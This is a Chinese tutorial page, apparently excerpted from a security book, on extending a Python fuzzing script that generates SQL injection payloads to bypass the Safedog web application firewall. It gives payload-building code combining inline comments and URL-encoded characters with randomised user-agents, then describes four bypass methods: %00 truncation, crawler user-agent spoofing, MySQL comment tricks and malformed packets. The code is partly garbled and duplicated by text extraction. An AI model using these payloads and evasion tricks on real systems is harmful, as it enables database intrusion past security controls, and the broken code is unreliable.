当前位置: 首页 > article >正文

绕过安全狗优化

 

 

8.2节中,我们已经完成模糊测试绕过安全狗脚本,其中仅仅对数字进行了模 糊处理,如此已经能够产生许多绕过安全狗的方法,如果需要更多的绕过安全狗 方法,可在此脚本的基础上进行修改,完善此脚本。

完善的思路是从脚本本身的参数值和ua值进行增加,比如在原有ua的基础 上,列举多种ua进行迭代,然后对参数本身可以采用多重套用的方式:

 

def fuzzexp(url) :

fuzzing_x = [ '/* ', '*/ ', '/* ! ', '* ', '= ', '` ', ' ! ', '@ ', '% ', '+ ', ' | ', '%00 ']

fuzzing_y = [ ' ', ' ']

fuzzing_z = ["%0a", "%0b", "%0c", "%0d", "%0e", "%0f", "%0g", "%0i", "%0j"]

fuzz = fuzzing_x + fuzzing_y + fuzzing_z

ua = UserAgent()

headers = ua .firefox

for a in fuzz:

for b in fuzz:

for c in fuzz:

for d in fuzz:

exp = "/* !" + a + b + c + d + "and*/ 'a '= 'a--+"

 

'  '  ' '

-

. ,    ,

 

"%0h",

将fuzz的相关内联注释语句放入数组中:

 

fuzzing_x = [ '/* ', '*/ ', '/* !

'+ ', ' | ', '%00 ']

fuzzing_y = [ ' ', ' '

fuzzing_z = ["%0a", "%0b"

"%0i", "%0j"]

fuzz = fuzzing_x + fuzzing_y + fuzzing_z

'@ ', '% ', ' . ', '- ',

 

"%0f", "%0g", "%0h",

优化ua的随机化,可以使用fake-useragent实现:

ua = UserAgent()

headers = ua .firefox

将先前放入数组中的内联注释符号取出并拼接到一起:

for a in fuzz:

for b in fuzz:

for c in fuzz:

for d in fuzz:

exp = "/* !" + a + b + c + d + "and*/ 'a '= 'a--+"

如此便完成了脚本的基本优化,增加了更多的组合性,可以测试出更多绕过

 

 

 

 

 

安全狗的脚本。通过多种联合注释符号组合来有效地绕过安全狗,发挥组合的优 势,将更有可能成功。

常见的绕过安全狗的方式有4种:利用string绕过、利用user-agent绕过、利用 MySQL语法和html的特殊性绕过、利用畸形数据包绕过。下面分别介绍。

1.利用string的绕过

C语言在使用string等结构存储请求时,当进行解码时,%00会被识别替换为 NULL ,这样便导致了请求包的内容会被在构造后截断。例如:

str=1%00%20and%20a=a

当后端的校验存储使用了string等结构后,上述请求会被解析截断为str=1 ,从 而绕过监测。

2.利用user-agent绕过

在WAF应用程序进行防护的时候,一部分防护厂商会对某些user-agent进行特 殊放行,例如百度爬虫的user-agent 。测试时可以利用这部分特殊性绕过安全狗。

3.利用MySQL语法和HTML的特殊性绕过

利用MySQL的语法特性,“/*”和“*/” 中间的内容将会被视为注释而不进行操 作。例如,“9.0union”监测到参数为浮点数时语句结束,被当作空格执行。结合 HTML的写法,如url编码后的%20表示空格等思路进行绕过。

4.畸形数据包绕过

利用Apache对于HTTP数据包的兼容性以及对防护软件的不兼容性来绕过 WAF。

 

 


http://www.kler.cn/news/234628.html

相关文章:

  • 力扣_字符串5—解码方法
  • 吹响AI PC号角!微软在Windows中不断增加“Copilot含量”
  • 【Spring学习】Spring Data Redis:RedisTemplate、Repository、Cache注解
  • Java字符串(包含字母和数字)通用排序
  • 【MySQL】-15 MySQL综合-1(数据库概念+数据库涉及技术)
  • 【数据结构】13:表达式转换(中缀表达式转成后缀表达式)
  • 【Java】悲观锁和乐观锁有什么区别?
  • 【java】笔记10:类与对象——本章练习
  • Leetcode 3033. Modify the Matrix
  • Spring + Tomcat项目中nacos配置中文乱码问题解决
  • 代码随想录算法训练营第39天(动态规划02● 62.不同路径 ● 63. 不同路径 II
  • 第二节 zookeeper基础应用与实战
  • 知识价值2-什么是IDE?新手用哪个IDE比较好?
  • python:lxml 读目录.txt文件,用 xmltodict 转换为json数据,生成jstree所需的文件
  • 寒假作业5
  • 基于python和matlab的复杂函数拟合的方法、工具以及学习资料
  • 【中间件学习】什么是中间件
  • 【Linux进程间通信】用管道实现简单的进程池、命名管道
  • [AIGC] Tomcat:一个简单 and 高效的 Java Web 服务器
  • 【设计模式】23中设计模式笔记
  • Hadoop:认识MapReduce
  • 【数据结构和算法】--- 基于c语言排序算法的实现(2)
  • Rust变量与常量介绍
  • vue-生命周期+工程化开发(三)
  • RCS系统之:机器人状态
  • 快速搭建 nfs 环境, 解决 nfs 搭建时的疑难杂症
  • C++STL速查手册
  • [NSSCTF]-Web:[SWPUCTF 2021 新生赛]easy_sql解析
  • 为什么IDM下载速度很慢,IDM下载速度很慢怎么办
  • FL Studio如何改变轨道颜色 FL Studio波形颜色如何自定义 flstudio21中文版下载 FL Studio 设置颜色